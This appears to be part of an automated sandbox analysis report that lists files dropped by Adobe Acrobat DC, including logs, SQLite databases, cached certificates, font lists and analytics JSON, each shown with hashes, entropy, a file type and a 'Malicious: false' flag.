Preview:	2025/01/10-16:07:36.857 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:07:36.861 1c80 Recovering log #3.2025/01/10-16:07:36.872 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.155978073536205
Encrypted:	false
SSDEEP:	6:iO433BJV34q2PN72nKuAl9OmbzNMxIFUtS33AJZmws33W3DkwON72nKuAl9OmbzE:7AivVaHAa8jFUtWC/sWz5OaHAa84J
MD5:	4D158B36530C938B62487E2C9A6C6440
SHA1:	DF446F96478B4B931A780A4BCBF6E86F31D58D93
SHA-256:	38C5295FD469429FF2E4FF2057009E055C1DE399C3C6B1A457D084B1DE717BEF
SHA-512:	C7A0AE3287B6C54D5748962FA51D49223170BC985B162DBA7385B0E695C6DFF2484745F4AEE12426D60D020E4C15397F9A09C39A813E3F16334D0E7E55820151
Malicious:	false
Preview:	2025/01/10-16:07:36.857 1c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:07:36.861 1c80 Recovering log #3.2025/01/10-16:07:36.872 1c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4447226839388465
Encrypted:	false
SSDEEP:	384:ye6ci5tFiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mus3OazzU89UTTgUL
MD5:	292EDF5F8551BABEE413A92187238DDD
SHA1:	A0BF714AE1623B9793471B7C66B41CB08E8456CA
SHA-256:	32D5800ADC1BB10C56D8173ACBE1D3D192D5AEB950D43431CE184210C02EDD7C
SHA-512:	47676E6C674EF3D0DBB31C12F650E722FCA65BD26AA19D8F883BED4F3A9397665B886720A520EE42EA3D27BCBAF437AB20FD2E85F60810D150069B20148E0358
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.767481893364637
Encrypted:	false
SSDEEP:	48:7MaJioyV4ioyeoy1C7oy16oy1yKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OQ:7JJu4uRXjBidb9IVXEBodRBkh
MD5:	E528FBBE0EF01577B2D45BADF0ECF8C8
SHA1:	F575234DA65D4071443FDE889CBF1C56C950A83E
SHA-256:	230EAE049272D29C552A1F3278F6EAC4E132244EC3ADE3B251006710DA7FC64B
SHA-512:	9B94B1EAA21DD3CAFF59D9574B464FAB4591A3BFBFC533E91F39271CD3DB9096548C7606AA5174A83A9E8BD6C320C58B86EEC75BE0A6A28F7BC9A91CE8B805FD
Malicious:	false
Preview:	.... .c.....T.T...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7177881616921042
Encrypted:	false
SSDEEP:	3:kkFklBEfytfllXlE/HT8kg+/jNNX8RolJuRdxLlGB9lQRYwpDdt:kKH6eT8QpNMa8RdWBwRd
MD5:	260DB90E022F91D8ECD1C670A710498F
SHA1:	7B13085DD8A6CA70C5A5AD85DC18A573E6E0218B
SHA-256:	7C890A4C0B7B435001AF270514ACF7FA4E9BD6F6D22DD5BAEFEE55C7566E3294
SHA-512:	BC85A48749FA8DCACF92431CD83C2AED8BEC3ED225B2E0A8ADC476C3DBC047C8E89566E0E3E3D648CC2C6E6EF698215D073A81DCDA710E89C53CC2262A5DFC56
Malicious:	false
Preview:	p...... ........2....c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKIAPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:w4iDImsLNkPlE99SNxAhUe/3
MD5:	9778D3D9E3F377EA25A347D7060ED4A0
SHA1:	AFA7BF42F7C44ABE982C480E1A25A68F60B01FC7
SHA-256:	F81069B1495A9C465C55B15F4560FF662CAB854F171EE501833600D516882D3D
SHA-512:	28BA4263B6396B7F5916828373AE158686E2B1BB1E9F5D83FB6CD8E0CDF5EC813F8AF719753325F2B2D14BE1EE06D59F3F7FDE457EEA4C5B56EE10BBD0428156
Malicious:	false
Preview:	p...... ........{CH.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5588

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5588

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.34525455584861
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJM3g98kUwPeUkwRe9:YvXKXyL7NcZ0GMbLUkee9
MD5:	686413EAFEE9C487B5691DDB13901739
SHA1:	3F2711220FB3EE94FA12023ED9D22A0747E316D1
SHA-256:	4BF876393BE56DA3047135E68F571E9ECBFBCA787D9776B1F21ECFBA50DB306B
SHA-512:	3F4240A54F30C1E3941FACE6090FB4AA10D90807C4BC189D8046572DF6DDD01D957018A67FDF841C920736EE7EF8F0532FAFD4F1BD28741F96E7E022DA0C84B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29603020104606
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJfBoTfXpnrPeUkwRe9:YvXKXyL7NcZ0GWTfXcUkee9
MD5:	A7CDFCA632F671382A0B8DA53A7095E3
SHA1:	092D4E3CA9820F8DE0EC403DD69BFB38C6C9AF56
SHA-256:	BFF06C66669FE9E73712205E9C468C75F6231D3006BD13995DD45A725EFD95DB
SHA-512:	15C09654D873B33F3E3063E455660114F593FC6F24C276900743F98A2818C9CC2DAC45BC72934E564DBA0940BBE3E8DFAD7227D023CD7A0DCE26206450E367D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.276047917862418
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJfBD2G6UpnrPeUkwRe9:YvXKXyL7NcZ0GR22cUkee9
MD5:	CF21C0E446236ABC1815E5FB029FECBE
SHA1:	53D67D697C6CCF3E28A5E61254630A7CF332CD0F
SHA-256:	B00A752922E185D56E22BB02FFC294B8149AD3335A87CCC688597ABB1D8D9A03
SHA-512:	F111970EECA70A823AF7C3772087EC00FA355ACABD983885FAF5A6943312934919A2D7939A1909B1C6551A2506F4A38A0C1ADDED27421EB853696DD6A1BCF8E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.324641733952245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJfPmwrPeUkwRe9:YvXKXyL7NcZ0GH56Ukee9
MD5:	2D496CB161D48B16A106157C8B90E149
SHA1:	01F2743F0C853AF2C3769621ED6751AF09C07DBD
SHA-256:	6C24F8A194BF4AB08C909C5267EED12EB08350334E3F4A02BE66FD57DBDDAA82
SHA-512:	BD7DA36414CCF236E58D204D39457204B591E113A43BBF962763AB72159F5E09234902D898172D3DD416F9799601F41829BE9F8AF86D418DDFA0C7233CF87A41
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684115826159981
Encrypted:	false
SSDEEP:	24:Yv6XXDpLgE9cQx8LennAvzBvkn0RCmK8czOCCS+Y:YvChgy6SAFv5Ah8cv/n
MD5:	A09A59F40CEAE50A7E64188D0BD596CA
SHA1:	4FF04D174247006286C503E89C8FA61DB616BFFB
SHA-256:	378C93BA09E28C172C6AF64EF2C43F92EEDB08453790A37C20C8971DB7D66269
SHA-512:	0CAF9308F8642BA2BCEA05F1FD464B1515674F4E9E39E4D8F1A57CEB7BCCF0DF074E2409B63E3C9195F39590D89D9EAF4D8971C068D0DE6056D02254E1A76A50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"17a055aa-20e5-4e06-b5b9-31faee01d3b3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736722516348,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273215664072723
Encrypted:	false
SSDEEP:	6:YEQXJ2HXth6KIH7NnZiQ0YeroAvJf8dPeUkwRe9:YvXKXyL7NcZ0GU8Ukee9
MD5:	1363522AAE67D21C8B831B453FD75ABF
SHA1:	E2D22CC917FE1D0A5AC9764FCCE269530697CE21
SHA-256:	5ADE6AC9A7C20D8AAE9187B9DBC29A3E55BE9A8AC91F7A461B5F1CDB32A8EB8D
SHA-512:	B15FD1F012A91EF9B76F7BC30E3492C729B9E53879B0BCE62B3CA7682287CBA0CBA917DB194E2FDA4EDEB5A900C567C8916972CA385CD9A143837E7DA8C28F31
Malicious:	false
